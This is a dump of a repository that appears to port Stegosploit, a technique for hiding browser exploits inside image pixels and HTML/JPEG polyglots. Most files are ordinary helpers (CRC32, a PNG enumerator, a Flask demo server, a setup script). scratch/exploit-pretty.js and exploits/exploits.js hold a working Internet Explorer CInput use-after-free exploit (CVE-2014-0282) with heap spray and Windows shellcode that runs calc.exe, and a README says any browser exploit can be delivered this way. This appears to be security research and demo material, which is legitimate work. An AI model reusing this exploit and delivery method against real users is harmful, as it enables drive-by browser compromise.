├── python-code ├── modules │ ├── __init__.py │ ├── crc32.py │ ├── pngdata.py │ └── html_in_png.py ├── anon.jpg ├── anon.png ├── pngenum.py └── html_in_jpg_ie.py ├── .gitignore ├── project-stegosploit ├── tmp │ └── load_meterpreter.rc ├── README.pdf ├── readme-draft.docx ├── encoding │ ├── stego_imajs │ ├── stegosploit_logo_small.jpg │ ├── decode_and_run_cinput_withjs.html │ ├── imagedecoder.html │ ├── imagedecode.js │ ├── histogram.js │ ├── base64.js │ ├── md5.js │ ├── image_layer_analysis.html │ └── iterative_encoding.html ├── exploits │ ├── exploits.js │ └── decoder.html ├── images │ ├── encoded │ │ ├── stego.JPG │ │ ├── stego1.JPG │ │ ├── stego-ff.JPG │ │ └── lena-enc-ff.JPG │ └── original │ │ ├── lena.jpg │ │ ├── kevinbw.jpg │ │ └── kevinbw.png ├── polyglots │ ├── kevin-poly.html │ └── lena_poly_demo.html └── scripts │ └── polyglot_with_jpg.py ├── scratch ├── out2.html ├── out2.jpg ├── out3.html ├── out3.jpg ├── stego.JPG ├── butterfly.jpg ├── README.md ├── decoder.html ├── exploit-pretty.js └── jpg.py ├── test_dump ├── anon.jpg ├── escher.jpg ├── stego.JPG ├── exploit.jpg ├── exploit2.jpg ├── CRC32.pm ├── decoder.html ├── jpg.pl └── jpegdump.c ├── stego ├── static │ ├── out3.html │ ├── img │ │ ├── anon.jpg │ │ ├── anon.png │ │ ├── guy.jpg │ │ ├── out3.jpg │ │ ├── escher.jpg │ │ ├── exploit.jpg │ │ ├── stego.JPG │ │ ├── msfconsole.png │ │ ├── stego_imajs.png │ │ └── stegosploit_logo_small.jpg │ ├── exploit │ │ ├── decoder_cve_2014_0282.html │ │ └── exploits.js │ ├── poc.txt │ └── js │ │ ├── imagedecode.js │ │ ├── histogram.js │ │ ├── base64.js │ │ └── md5.js ├── server.py └── templates │ ├── imagedecoder.html │ └── image_layer_analysis.html ├── .xet └── config.toml ├── .gitattributes ├── exploits ├── README.md ├── decoder_cve_2014_0282.html └── exploits.js ├── copying.txt ├── imajs ├── tests │ └── test_crc32.pl ├── CRC32.pm ├── pngenum.pl ├── html_in_png.pl ├── PNGDATA.pm ├── html_in_jpg_ff.pl ├── html_in_jpg_ie.pl └── jpegdump.c ├── stego_setup.sh └── README.md /python-code/modules/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | copying 2 | README.txt 3 | .DS_Store 4 | __pycache__/ -------------------------------------------------------------------------------- /project-stegosploit/tmp/load_meterpreter.rc: -------------------------------------------------------------------------------- 1 | IDI_ICON1 ICON DISCARDABLE "abc-logo.ico" 2 | -------------------------------------------------------------------------------- /scratch/out2.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/scratch/out2.html -------------------------------------------------------------------------------- /scratch/out2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/scratch/out2.jpg -------------------------------------------------------------------------------- /scratch/out3.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/scratch/out3.html -------------------------------------------------------------------------------- /scratch/out3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/scratch/out3.jpg -------------------------------------------------------------------------------- /scratch/stego.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/scratch/stego.JPG -------------------------------------------------------------------------------- /test_dump/anon.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/test_dump/anon.jpg -------------------------------------------------------------------------------- /python-code/anon.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/python-code/anon.jpg -------------------------------------------------------------------------------- /python-code/anon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/python-code/anon.png -------------------------------------------------------------------------------- /test_dump/escher.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/test_dump/escher.jpg -------------------------------------------------------------------------------- /test_dump/stego.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/test_dump/stego.JPG -------------------------------------------------------------------------------- /scratch/butterfly.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/scratch/butterfly.jpg -------------------------------------------------------------------------------- /stego/static/out3.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/stego/static/out3.html -------------------------------------------------------------------------------- /test_dump/exploit.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/test_dump/exploit.jpg -------------------------------------------------------------------------------- /test_dump/exploit2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/test_dump/exploit2.jpg -------------------------------------------------------------------------------- /stego/static/img/anon.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/stego/static/img/anon.jpg -------------------------------------------------------------------------------- /stego/static/img/anon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/stego/static/img/anon.png -------------------------------------------------------------------------------- /stego/static/img/guy.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/stego/static/img/guy.jpg -------------------------------------------------------------------------------- /stego/static/img/out3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/stego/static/img/out3.jpg -------------------------------------------------------------------------------- /stego/static/img/escher.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/stego/static/img/escher.jpg -------------------------------------------------------------------------------- /stego/static/img/exploit.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/stego/static/img/exploit.jpg -------------------------------------------------------------------------------- /stego/static/img/stego.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/stego/static/img/stego.JPG -------------------------------------------------------------------------------- /.xet/config.toml: -------------------------------------------------------------------------------- 1 | [upstream] 2 | origin_type = "github" 3 | user_name = "Charmve" 4 | repo_name = "PyStegosploit" 5 | -------------------------------------------------------------------------------- /project-stegosploit/README.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/project-stegosploit/README.pdf -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # XET LOCK 2 | * filter=xet diff=xet merge=xet -text 3 | *.gitattributes filter= 4 | *.xet/** filter= 5 | -------------------------------------------------------------------------------- /stego/static/img/msfconsole.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/stego/static/img/msfconsole.png -------------------------------------------------------------------------------- /stego/static/img/stego_imajs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/stego/static/img/stego_imajs.png -------------------------------------------------------------------------------- /project-stegosploit/readme-draft.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/project-stegosploit/readme-draft.docx -------------------------------------------------------------------------------- /project-stegosploit/encoding/stego_imajs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/project-stegosploit/encoding/stego_imajs -------------------------------------------------------------------------------- /project-stegosploit/exploits/exploits.js: -------------------------------------------------------------------------------- 1 | // exploit for an alert box 2 | 3 | var ie_cinput_canvas = "alert('hello this is stego-exploit!');"; -------------------------------------------------------------------------------- /stego/static/img/stegosploit_logo_small.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/stego/static/img/stegosploit_logo_small.jpg -------------------------------------------------------------------------------- /project-stegosploit/images/encoded/stego.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/project-stegosploit/images/encoded/stego.JPG -------------------------------------------------------------------------------- /project-stegosploit/images/encoded/stego1.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/project-stegosploit/images/encoded/stego1.JPG -------------------------------------------------------------------------------- /project-stegosploit/images/original/lena.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/project-stegosploit/images/original/lena.jpg -------------------------------------------------------------------------------- /project-stegosploit/polyglots/kevin-poly.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/project-stegosploit/polyglots/kevin-poly.html -------------------------------------------------------------------------------- /project-stegosploit/images/encoded/stego-ff.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/project-stegosploit/images/encoded/stego-ff.JPG -------------------------------------------------------------------------------- /project-stegosploit/images/original/kevinbw.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/project-stegosploit/images/original/kevinbw.jpg -------------------------------------------------------------------------------- /project-stegosploit/images/original/kevinbw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/project-stegosploit/images/original/kevinbw.png -------------------------------------------------------------------------------- /project-stegosploit/images/encoded/lena-enc-ff.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/project-stegosploit/images/encoded/lena-enc-ff.JPG -------------------------------------------------------------------------------- /project-stegosploit/polyglots/lena_poly_demo.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/project-stegosploit/polyglots/lena_poly_demo.html -------------------------------------------------------------------------------- /project-stegosploit/encoding/stegosploit_logo_small.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Charmve/PyStegosploit/HEAD/project-stegosploit/encoding/stegosploit_logo_small.jpg -------------------------------------------------------------------------------- /scratch/README.md: -------------------------------------------------------------------------------- 1 | # jpg.py 2 | 3 | This is the first working port of a program to create a polyglot image. The program can create a valid `.html` file or `.jpg` file, either of which can be opened in the browser. 4 | 5 | ## TODO 6 | - [ ] -------------------------------------------------------------------------------- /exploits/README.md: -------------------------------------------------------------------------------- 1 | # Exploits 2 | 3 | This folder contains a [use after free](https://www.owasp.org/index.php/Using_freed_memory) exploit. This exploit was precanned for use as a proof of concept by Saumil Shah. This is the exploit used in the demo, but one can use any browser exploit imaginable and deliver it via an image. 4 | 5 | 6 | Exploit code: 7 | * Internet Explorer UAF CVE 2014 0282 8 | * Firefox UAF CVE 2013 1690 9 | 10 | -------------------------------------------------------------------------------- /copying.txt: -------------------------------------------------------------------------------- 1 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 2 | Version 2, December 2004 3 | 4 | Copyright (C) 2004 Sam Hocevar 5 | 6 | Everyone is permitted to copy and distribute verbatim or modified 7 | copies of this license document, and changing it is allowed as long 8 | as the name is changed. 9 | 10 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 11 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 12 | 13 | 0. You just DO WHAT THE FUCK YOU WANT TO. 14 | 15 | -------------------------------------------------------------------------------- /imajs/tests/test_crc32.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | # This test is to check that the python 4 | # and the perl code are yielding the same 5 | # values. 6 | # 7 | # Test Usage: 8 | # 1) Use python crc32.main() to generate a value 9 | # 2) Use `perl -I.. test_crc32.pl` to generate a value 10 | # 3) Verify that the values are the same 11 | 12 | 13 | use CRC32; 14 | 15 | my $data = 'hello world'; 16 | 17 | CRC32::clear(); 18 | CRC32::add(\$data); 19 | 20 | my $check_value = CRC32::result(); 21 | 22 | printf("Check value (in hex): %x\n", $check_value); -------------------------------------------------------------------------------- /python-code/pngenum.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | ''' 4 | Simple PNG enumerator 5 | ''' 6 | 7 | import argparse 8 | 9 | from modules.pngdata import PNG 10 | 11 | def main(): 12 | parser = argparse.ArgumentParser(description='A PNG enumerator.') 13 | parser.add_argument('filename', 14 | type=argparse.FileType('rb'), 15 | help='PNG file name') 16 | args = parser.parse_args() 17 | 18 | with args.filename as file: 19 | data=file.read() 20 | 21 | png = PNG.read(data) 22 | PNG.printPngData(png) 23 | 24 | if __name__ == '__main__': 25 | main() -------------------------------------------------------------------------------- /python-code/modules/crc32.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | ''' 4 | Generates an unsigned 32-bit integer checksum for 5 | arbitrary data. Instead of rolling our own CRC32 6 | generator, we will be using binascii 7 | 8 | Usage: 9 | crc32 = CRC32() 10 | crc32.add(data) 11 | checkValue = crc32.result() 12 | ''' 13 | 14 | import binascii 15 | 16 | class CRC32: 17 | def __init__(self): 18 | self.crc = None 19 | 20 | ''' 21 | Input: bytes string 22 | Output: True 23 | ''' 24 | def add(self, data): 25 | # evaluate the CRC32 checksum 26 | if self.crc != None: 27 | self.crc = binascii.crc32(data, self.crc) 28 | else: 29 | self.crc = binascii.crc32(data) 30 | 31 | return True 32 | 33 | def result(self): 34 | return self.crc 35 | 36 | def main(): 37 | crc32 = CRC32() 38 | 39 | crc32.add(b'hello world') 40 | crc = crc32.result() 41 | # print(crc) 42 | print('crc32 = {:#010x}'.format(crc)) 43 | 44 | if __name__ == '__main__': 45 | main() -------------------------------------------------------------------------------- /scratch/decoder.html: -------------------------------------------------------------------------------- 1 |
2 | -------------------------------------------------------------------------------- /project-stegosploit/exploits/decoder.html: -------------------------------------------------------------------------------- 1 |
-------------------------------------------------------------------------------- /imajs/CRC32.pm: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | # use CRC32; 4 | # 5 | # my $data = 'Hello World'; 6 | # 7 | # CRC32::clear(); 8 | # CRC32::add(\$data); 9 | # 10 | # my $check_value = CRC32::result(); 11 | # 12 | # printf("Check value (in hex): %x\n", $check_value); 13 | # 14 | # Reference 15 | # http://www.dispersiondesign.com/articles/graphics/png_crc32_calculations 16 | 17 | package CRC32; 18 | 19 | our $crc = 0xFFFFFFFF; 20 | our $crc_table; 21 | 22 | sub clear { 23 | $crc = 0xFFFFFFFF; 24 | } 25 | 26 | 27 | sub build_table { 28 | my $table = []; 29 | for(my $n = 0; $n < 256; $n++) { 30 | my $c = $n; 31 | for( my $k = 0; $k < 8; $k++ ) { 32 | $c = ($c >> 1 ) ^ (($c & 1) ? 0xEDB88320 : 0); 33 | } 34 | $table->[$n] = $c; 35 | } 36 | return $table; 37 | } 38 | 39 | 40 | sub add { 41 | my($data_ptr) = @_; 42 | 43 | if(!defined $crc_table) { 44 | $crc_table = build_table(); 45 | } 46 | 47 | my @bytes = unpack("C*", $$data_ptr); 48 | foreach my $byte (@bytes) { 49 | $crc = $crc_table->[($crc ^ $byte) & 0xFF] ^ ($crc >> 8); 50 | } 51 | } 52 | 53 | 54 | sub result { 55 | return ($crc ^ 0xFFFFFFFF); 56 | } 57 | 58 | 1; -------------------------------------------------------------------------------- /test_dump/CRC32.pm: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | # use CRC32; 4 | # 5 | # my $data = 'Hello World'; 6 | # 7 | # CRC32::clear(); 8 | # CRC32::add(\$data); 9 | # 10 | # my $check_value = CRC32::result(); 11 | # 12 | # printf("Check value (in hex): %x\n", $check_value); 13 | # 14 | # Reference 15 | # http://www.dispersiondesign.com/articles/graphics/png_crc32_calculations 16 | 17 | package CRC32; 18 | 19 | our $crc = 0xFFFFFFFF; 20 | our $crc_table; 21 | 22 | sub clear { 23 | $crc = 0xFFFFFFFF; 24 | } 25 | 26 | 27 | sub build_table { 28 | my $table = []; 29 | for(my $n = 0; $n < 256; $n++) { 30 | my $c = $n; 31 | for( my $k = 0; $k < 8; $k++ ) { 32 | $c = ($c >> 1 ) ^ (($c & 1) ? 0xEDB88320 : 0); 33 | } 34 | $table->[$n] = $c; 35 | } 36 | return $table; 37 | } 38 | 39 | 40 | sub add { 41 | my($data_ptr) = @_; 42 | 43 | if(!defined $crc_table) { 44 | $crc_table = build_table(); 45 | } 46 | 47 | my @bytes = unpack("C*", $$data_ptr); 48 | foreach my $byte (@bytes) { 49 | $crc = $crc_table->[($crc ^ $byte) & 0xFF] ^ ($crc >> 8); 50 | } 51 | } 52 | 53 | 54 | sub result { 55 | return ($crc ^ 0xFFFFFFFF); 56 | } 57 | 58 | 1; -------------------------------------------------------------------------------- /test_dump/decoder.html: -------------------------------------------------------------------------------- 1 |
Test check
2 | -------------------------------------------------------------------------------- /exploits/decoder_cve_2014_0282.html: -------------------------------------------------------------------------------- 1 |
Test check
2 | -------------------------------------------------------------------------------- /stego/static/exploit/decoder_cve_2014_0282.html: -------------------------------------------------------------------------------- 1 |
Test check
2 | -------------------------------------------------------------------------------- /project-stegosploit/encoding/decode_and_run_cinput_withjs.html: -------------------------------------------------------------------------------- 1 | 2 | 14 | 16 |
Test check
19 |
20 | 21 | -------------------------------------------------------------------------------- /imajs/pngenum.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # . . 4 | # / `. .' \ 5 | # .---. < > < > .---. 6 | # | \ \ - ~ ~ - / / | 7 | # ~-..-~ ~-..-~ 8 | # \~~~\.' stegosploit `./~~~/ 9 | # \__/ \__/ 10 | # / . -. \ 11 | # \~~~\/ { \ .-~ ~-. -._ _._ 12 | # \__/ : } { \ ~{ p'-._ 13 | # . . |~~. .' \ } \ ) \ ~--'} 14 | # \\ // `-..' _ -\ | _\ )__.-~~'=''''' 15 | # `-._\\_//__..-' .-~ |\. }~~--~~ \= / \ 16 | # ``~---.._ _ _ . - ~ ) /= / /+ / } 17 | # /_/ / { } | | 18 | # `~---o. `~___o.---' 19 | # 20 | # 21 | # by Saumil Shah @therealsaumil 22 | # 23 | # Simple PNG enumerator utility 24 | 25 | use FindBin; 26 | use lib $FindBin::Bin; 27 | 28 | use PNGDATA; 29 | 30 | $| = 1; 31 | 32 | if($#ARGV < 0) { 33 | print "Usage: pngenum.pl \n"; 34 | exit; 35 | } 36 | 37 | $pngfile = $ARGV[0]; 38 | 39 | local $/; 40 | 41 | open(PNGFILE, $pngfile) || die("Cannot open $pngfile\n"); 42 | $pngdata = ; 43 | close(PNGFILE); 44 | 45 | my @png = (); 46 | 47 | @png = PNGDATA::read_png($pngdata); 48 | PNGDATA::print_png_data(@png); 49 | -------------------------------------------------------------------------------- /stego/server.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Program: server.py 3 | 4 | Description serve up the demo page for my use 5 | as well as the exploit code within the image 6 | 7 | TODO: 8 | serve the static html (render template) 9 | serve the static js files to the html 10 | ''' 11 | 12 | from flask import Flask 13 | from flask import request 14 | from flask import make_response 15 | from flask import render_template 16 | from flask import send_from_directory 17 | 18 | app = Flask(__name__) 19 | 20 | 21 | @app.route('/analysis') 22 | def analysis(): 23 | return render_template('image_layer_analysis.html') 24 | 25 | # Note: for this route, the server needs to allow cross- 26 | # origin images and I need to modify: 27 | # iterative_encoding.html:112 28 | # in order to set the image origin anonymous 29 | # 30 | # Example: 31 | # Access-Control-Allow-Origin "*" 32 | @app.route('/encoding') 33 | def encoding(): 34 | resp = make_response(render_template('iterative_encoding.html')) 35 | resp.headers['Access-Control-Allow-Origin'] = '*' 36 | return resp 37 | 38 | @app.route('/stego.jpg') 39 | def stego(): 40 | return app.send_static_file('img/out3.jpg') 41 | 42 | @app.route('/poc') 43 | def poc(): 44 | return app.send_static_file('poc.txt') 45 | 46 | @app.route('/exploit.jpg') 47 | def exploit(): 48 | return app.send_static_file('img/exploit.jpg') 49 | 50 | @app.route('/out3') 51 | def out3(): 52 | return app.send_static_file('out3.html') 53 | 54 | 55 | @app.route('/') 56 | def index(): 57 | return """ 58 | 59 | 60 | 61 |

Stegosploit Demo Server

62 | 68 | 69 | 70 | """ 71 | 72 | def main(): 73 | app.run(host='localhost', 74 | port=5000, 75 | debug=True) 76 | 77 | if __name__ == '__main__': 78 | main() -------------------------------------------------------------------------------- /stego_setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "DONT RUN ME!!!" 4 | return 5 | 6 | echo "Setting up the directory for the Stegosploit Tutorial" 7 | echo "Getting older firefox version (v37.0)" 8 | wget https://ftp.mozilla.org/pub/firefox/releases/37.0/linux-x86_64/en-US/firefox-37.0.tar.bz2 9 | 10 | if [ $? == 0 ]; then 11 | echo "Successfully got old firefox" 12 | echo "Extracting the tarball" 13 | tar -xf firefox-37.0.tar.bz2 14 | else 15 | echo "Could not get the old version of firefox, download it manually from:" 16 | echo "https://ftp.mozilla.org/pub/firefox/releases/37.0/linux-x86_64/en-US/" 17 | fi 18 | 19 | echo "Getting the Stegosploit demo kit" 20 | git clone https://github.com/Charmve/PyStegosploit.git 21 | 22 | if [ $? == 0 ]; then 23 | echo "Successfully cloned the git repo" 24 | else 25 | echo "Could not clone the git repo, do so manually from:" 26 | echo "https://github.com/Charmve/PyStegosploit" 27 | fi 28 | 29 | echo "Getting image to use" 30 | wget https://upload.wikimedia.org/wikipedia/commons/5/56/Tux.jpg 31 | 32 | if [ $? == 0 ]; then 33 | echo "Grabbed image successfully" 34 | else 35 | echo "Unable to grab image, please download it manually from:" 36 | echo "https://commons.wikimedia.org/wiki/File:Tux.jpg" 37 | fi 38 | 39 | echo "Setting up for part 4" 40 | wget https://media.giphy.com/media/26ufnauqqCbUhtdZu/source.gif 41 | 42 | if [ $? == 0 ]; then 43 | echo "Grabbed gif successfully" 44 | else 45 | echo "Unable to grab the gif. Either try again, or download your own gif to use" 46 | fi 47 | 48 | mkdir part4 49 | mv source.gif part4/source.gif 50 | 51 | touch part4/index.html 52 | echo "" >> part4/index.html 53 | echo "" >> part4/index.html 54 | echo "" >> part4/index.html 55 | echo "" >> part4/index.html 56 | echo "" >> part4/index.html 57 | echo "" >> part4/index.html 58 | 59 | echo "Done the initial set up for the tutorial" 60 | echo "Read through to make sure everything executed properly" 61 | echo "You will need to install hexedit if it isn't installed already" 62 | echo "Run: sudo apt-get update" 63 | echo "Then run: sudo apt-get install hexedit" 64 | -------------------------------------------------------------------------------- /project-stegosploit/encoding/imagedecoder.html: -------------------------------------------------------------------------------- 1 | 2 | 25 | 26 | 27 | 28 | 29 | 30 | 31 |

Decode a Steganographic message from an Image

32 | 33 | 34 | 52 | 53 |
54 | 55 |
56 | 57 |
58 | MD5: 59 |
60 | 61 | 62 | 63 | -------------------------------------------------------------------------------- /stego/templates/imagedecoder.html: -------------------------------------------------------------------------------- 1 | 2 | 25 | 26 | 27 | 28 | 29 | 30 | 31 |

Decode a Steganographic message from an Image

32 | 33 | 34 | 52 | 53 |
54 | 55 |
56 | 57 |
58 | MD5: 59 |
60 | 61 | 62 | 63 | -------------------------------------------------------------------------------- /exploits/exploits.js: -------------------------------------------------------------------------------- 1 | // OPTIONAL - populate the drop down list in iterative_encoding.html 2 | // with readymade exploits 3 | // by Saumil Shah @therealsaumil 4 | // 5 | // CVE-2014-0282 calc.exe 6 | // 7 | // code is compacted and ugly, to save space when encoding it into photographs 8 | 9 | var ie_cinput_canvas = "function H5(){this.d=[];this.m=new Array();this.f=new Array()}H5.prototype.flatten=function(){for(var f=0;f=8192){b=0}a.data[c]=(b 5 | MS14-035 Internet Explorer CInput Use-after-free POC 6 | 7 | 8 | 9 | 10 | 54 | 55 | 56 | 57 |
58 | 59 | Test check
60 | 61 | 62 |
63 | 64 | 65 | 66 | 108 | 109 | -------------------------------------------------------------------------------- /scratch/exploit-pretty.js: -------------------------------------------------------------------------------- 1 | function H5() { 2 | this.d = []; 3 | this.m = new Array(); 4 | this.f = new Array() 5 | } 6 | 7 | 8 | H5.prototype.flatten = () => { 9 | for (var f = 0; f < this.d.length; f++) 10 | { 11 | var n = this.d[f]; 12 | if (typeof (n) == 'number') 13 | { 14 | var c = n.toString(16); 15 | while (c.length < 8) 16 | { 17 | c = '0' + c 18 | } 19 | var l = function (a) { 20 | return (parseInt(c.substr(a, 2), 16)) 21 | }; 22 | var g = l(6), 23 | h = l(4), 24 | k = l(2), 25 | m = l(0); 26 | this.f.push(g); 27 | this.f.push(h); 28 | this.f.push(k); 29 | this.f.push(m) 30 | } 31 | if (typeof (n) == 'string') 32 | { 33 | for (var d = 0; d < n.length; d++) 34 | { 35 | this.f.push(n.charCodeAt(d)) 36 | } 37 | } 38 | } 39 | }; 40 | 41 | H5.prototype.fill = function (a) { 42 | for (var c = 0, b = 0; c < a.data.length; c++, b++) { 43 | if (b >= 8192) { 44 | b = 0 45 | } 46 | a.data[c] = (b < this.f.length) ? this.f[b] : 255 47 | } 48 | }; 49 | 50 | H5.prototype.spray = function (d) { 51 | this.flatten(); 52 | for (var b = 0; b < d; b++) { 53 | var c = document.createElement('canvas'); 54 | c.width = 131072; 55 | c.height = 1; 56 | var a = c.getContext('2d').createImageData(c.width, c.height); 57 | this.fill(a); 58 | this.m[b] = a 59 | } 60 | }; 61 | 62 | H5.prototype.setData = function (a) { 63 | this.d = a 64 | }; 65 | 66 | var flag = false; 67 | var heap = new H5(); 68 | try { 69 | location.href = 'ms-help:' 70 | } catch (e) {} 71 | 72 | function spray() { 73 | var a = '\\xfc\\xe8\\x89\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xd2\\x64\\x8b\\x52\\x30\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\\x4a\\x26\\x31\\xff\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\\x0d\\x01\\xc7\\xe2\\xf0\\x52\\x57\\x8b\\x52\\x10\\x8b\\x42\\x3c\\x01\\xd0\\x8b\\x40\\x78\\x85\\xc0\\x74\\x4a\\x01\\xd0\\x50\\x8b\\x48\\x18\\x8b\\x58\\x20\\x01\\xd3\\xe3\\x3c\\x49\\x8b\\x34\\x8b\\x01\\xd6\\x31\\xff\\x31\\xc0\\xac\\xc1\\xcf\\x0d\\x01\\xc7\\x38\\xe0\\x75\\xf4\\x03\\x7d\\xf8\\x3b\\x7d\\x24\\x75\\xe2\\x58\\x8b\\x58\\x24\\x01\\xd3\\x66\\x8b\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\\x04\\x8b\\x01\\xd0\\x89\\x44\\x24\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\\xe0\\x58\\x5f\\x5a\\x8b\\x12\\xeb\\x86\\x5d\\x6a\\x01\\x8d\\x85\\xb9\\x00\\x00\\x00\\x50\\x68\\x31\\x8b\\x6f\\x87\\xff\\xd5\\xbb\\xf0\\xb5\\xa2\\x56\\x68\\xa6\\x95\\xbd\\x9d\\xff\\xd5\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x53\\xff\\xd5\\x63\\x61\\x6c\\x63\\x2e\\x65\\x78\\x65\\x00'; 74 | var c = []; 75 | for (var b = 0; b < 1104; b += 4) { 76 | c.push(13717 56628) 77 | } 78 | c.push(1371756627); 79 | c.push(1371351263); 80 | var f = [1371756626, 215, 2147353344, 1371367674, 202122408, 4294967295, 202122400, 202122404, 64, 202116108, 202121248, 16384]; 81 | var d = c.concat(f); 82 | d.push(a); 83 | heap.setData(d); 84 | heap.spray(256) 85 | } 86 | 87 | function changer() { 88 | var c = new Array(); 89 | for (var a = 0; a < 100; a++) { 90 | c.push(document.createElement('img')) 91 | } 92 | if (flag) { 93 | document.getElementById('fm').innerHTML = ''; 94 | CollectGarbage(); 95 | var b = '\\u2020\\u0c0c'; 96 | for (var a = 4; a < 110; a += 2) { 97 | b += '\\u4242' 98 | } 99 | for (var a = 0; a < c.length; a++) { 100 | c[a].title = b 101 | } 102 | } 103 | } 104 | 105 | function run() { 106 | spray(); 107 | document.getElementById('c2').checked = true; 108 | document.getElementById('c2').onpropertychange = changer; 109 | flag = true; 110 | document.getElementById('fm').reset() 111 | } 112 | setTimeout(run, 1000);// -------------------------------------------------------------------------------- /stego/static/js/imagedecode.js: -------------------------------------------------------------------------------- 1 | /* 2 | . . 3 | / `. .' \ 4 | .---. < > < > .---. 5 | | \ \ - ~ ~ - / / | 6 | ~-..-~ ~-..-~ 7 | \~~~\.' stegosploit `./~~~/ 8 | \__/ \__/ 9 | / . -. \ 10 | \~~~\/ { \ .-~ ~-. -._ _._ 11 | \__/ : } { \ ~{ p'-._ 12 | . . |~~. .' \ } \ ) \ ~--'} 13 | \\ // `-..' _ -\ | _\ )__.-~~'=''''' 14 | `-._\\_//__..-' .-~ |\. }~~--~~ \= / \ 15 | ``~---.._ _ _ . - ~ ) /= / /+ / } 16 | /_/ / { } | | 17 | `~---o. `~___o.---' 18 | 19 | Image Decoder Javascript function. 20 | This is the same decoder used in the HTML+Image polyglot 21 | to trigger the exploit code upon document load. 22 | 23 | by Saumil Shah @therealsaumil 24 | */ 25 | 26 | var imageFile, bitLayer, encodingChannel, grid; 27 | 28 | // decodeImageData requires three parameters 29 | // bitLayer - 0-7 the LSB chosen for performing the encoding 30 | // encodingChannel - 0 = R, 1 = G, 2 = B, 3 = All channels 31 | // grid - pixel grid. 1 = 1x1, 2 = 2x2 and so on 32 | function decodeImageData() { 33 | var canvas = document.createElement("canvas"); 34 | 35 | imgsrc.parentNode.insertBefore(canvas, imgsrc); 36 | 37 | canvas.width = 